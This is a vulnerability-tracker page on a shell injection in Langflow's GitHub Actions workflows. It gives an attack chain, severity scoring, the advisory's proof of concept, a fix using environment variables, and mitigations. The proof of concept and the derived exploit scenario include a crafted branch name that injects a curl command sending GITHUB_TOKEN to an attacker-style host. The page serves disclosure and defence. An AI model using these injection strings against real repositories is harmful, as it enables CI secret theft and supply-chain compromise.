Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCreate malicious pull request with crafted branch name
-
ExploitGitHub Actions workflow interpolates unsanitized context variable
-
ExecutionShell injection executed in CI/CD environment
-
ImpactExtract secrets and manipulate infrastructure
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
|
| Exploitation Conditions | Attacker must create a pull request or push to a branch with a malicious name containing shell metacharacters in the Langflow GitHub repository. The vulnerable GitHub Actions workflows must be enabled. No authentication required; any GitHub user can create pull requests. Exploitation occurs during CI/CD pipeline execution when workflows interpolate unsanitized |
| Impact | This vulnerability presents significant real-world risk despite no current KEV listing or EPSS score data being provided. The CVSS 3.1 score of 9.1 (Critical) with vector AV:N/AC:L/PR:N/UI:N indicates network-exploitable attacks requiring no privileges or user interaction with low complexity, though integrity and confidentiality impacts are high while availability impact is none. The existence of a documented proof-of-concept demonstrating GITHUB_TOKEN exfiltration via malicious branch names significantly lowers the exploitation barrier. The attack is highly automatable as it requires only forking a repository and creating a pull request with a crafted branch name, making it trivial for attackers to target any public fork of Langflow with Actions enabled. The technical impact is severe, potentially enabling supply chain compromise through CI/CD pipeline manipulation, malicious release injection, and secret theft. However, the scope is somewhat limited to CI/CD environments rather than production runtime systems, and requires the target repository to have GitHub Actions enabled and accepting pull requests from forks. Organizations running Langflow in production are not directly vulnerable unless they also maintain CI/CD pipelines using the affected workflow files. The combination of critical CVSS score, available POC, low attack complexity, and supply chain implications makes this a genuine high-priority issue for organizations maintaining Langflow forks or contributing to the project. |
| Exploit ScenarioDerived | An attacker forks the public Langflow repository on GitHub and creates a new branch with a malicious name such as 'feature && curl https://attacker-controlled-domain.com/exfil?token=$GITHUB_TOKEN #' then opens a pull request to the upstream repository or another fork. When the automated CI/CD pipeline triggers the vulnerable GitHub Actions workflows, the unsanitized branch name is interpolated directly into shell commands, causing the injected curl command to execute and exfiltrate the GITHUB_TOKEN to the attacker's server. With the stolen token, the attacker can then push malicious code to protected branches, manipulate releases, inject backdoors into Docker images published by the CI pipeline, or steal additional secrets stored in the repository environment. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 24, 2026
An unauthenticated shell injection vulnerability exists in Langflow's GitHub Actions CI/CD workflows, allowing attackers to execute arbitrary commands by crafting malicious branch names or pull request titles. Langflow versions prior to 1.9.0 are affected, specifically the langflow-ai:langflow product. A proof-of-concept exploit exists demonstrating secret exfiltration via crafted branch names, enabling attackers to steal GITHUB_TOKEN credentials and potentially compromise the supply chain without any authentication required.
RemediationAI
Upgrade Langflow to version 1.9.0 or later, which patches the vulnerability according to the vendor advisory at https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w. The fix involves refactoring all affected GitHub Actions workflows to use environment variables instead of direct interpolation of GitHub context variables in run commands, specifically wrapping user-controlled values in double quotes and assigning them to intermediate environment variables before use in shell commands. Until patching is possible, organizations maintaining Langflow forks should implement workflow restrictions by disabling GitHub Actions on forks, requiring manual approval for all workflow runs from first-time contributors via repository settings, or implementing branch protection rules that prevent workflow execution from untrusted branches. Additionally, apply the principle of least privilege to GitHub Actions by using fine-grained personal access tokens instead of GITHUB_TOKEN where possible and implementing secret scanning to detect potential token leakage.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects Langflow (cpe:2.3:a:langflow-ai:langflow:*:*:*:*:*:*:*:*), an AI-powered workflow building and deployment tool. The root cause is CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component), specifically manifesting as shell command injection in GitHub Actions workflows. Multiple workflow files including deploy-docs-draft.yml, docker-build.yml, release_nightly.yml, and python_test.yml directly interpolate user-controlled GitHub context variables such as github.head_ref and github.event.pull_request.title into shell run commands without sanitization. The YAML interpolation syntax ${{ ... }} evaluates these variables at workflow runtime, and when user-supplied values contain shell metacharacters or command separators like semicolons or ampersands, they are executed by the shell interpreter (typically bash) in the CI environment with the privileges of the GitHub Actions runner.
Know when Langflow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
4DescriptionGitHub Advisory
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"Or:
run: npx playwright install ${{ inputs.browsers }} --with-depsSince github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
PoC
- Fork the Langflow repository
- Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN- Open a Pull Request to the main branch from the new branch
- GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) - The
run:step containing:
echo "Branch: ${{ github.head_ref }}"Will execute:
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN- The attacker receives the CI secret via the exfil URL.
---
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
---
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
Executive ViewAI
Langflow versions prior to 1.9.0 contain a critical unauthenticated shell injection vulnerability in GitHub Actions workflows that allows attackers to execute arbitrary commands and steal CI/CD credentials by crafting malicious branch names or pull request titles, directly threatening supply chain security and credential exposure. This vulnerability requires immediate patching as proof-of-concept code exists and exploitation requires no authentication, creating immediate risk for any organization using affected Langflow versions in automated build pipelines.
Apply vendor patch. Additionally, until patched: implement GitHub Actions branch protection rules requiring code review before merge; restrict branch naming conventions to alphanumeric characters and hyphens; audit and minimize GITHUB_TOKEN permissions to read-only where possible; monitor CI/CD logs for anomalous command execution; consider temporarily disabling GitHub Actions workflows on untrusted branches.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Langflow before 1.3.0 allows unauthenticated remote code injection through the /api/v1/validate/code endpoint, enabling
Langflow has a third RCE vulnerability via exec_globals (EPSS 10.0%) allowing inclusion of untrusted code that executes
Account takeover and remote code execution in Langflow AI workflow platform versions ≤1.6.9 due to a CORS misconfigurati
Langflow has a code injection vulnerability in the code component (EPSS 2.6%) enabling remote code execution through the
Langflow has an eval injection in eval_custom_component_code (EPSS 2.0%) enabling remote code execution through crafted
Remote code execution in IBM Langflow OSS 1.0.0 through 1.9.3 lets an unauthenticated attacker inject and run arbitrary
Code injection in Langflow CSV Agent node before 1.8.0. The node hardcodes allow_dangerous_code=True, enabling arbitrary
Langflow through 0.6.19 allows remote code execution if untrusted users are able to reach the "POST /api/v1/custom_compo
OS command injection in Langflow's MCP stdio transport allows an attacker who can reach the MCP server configuration end
langflow <=1.0.18 is vulnerable to Remote Code Execution (RCE) as any component provided the code functionality and the
langflow v1.0.12 was discovered to contain a remote code execution (RCE) vulnerability via the PythonCodeTool component.
Langflow before 1.7.0.dev45 exposes multiple API endpoints without authentication, allowing unauthenticated access to us
EUVD-2026-14790
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB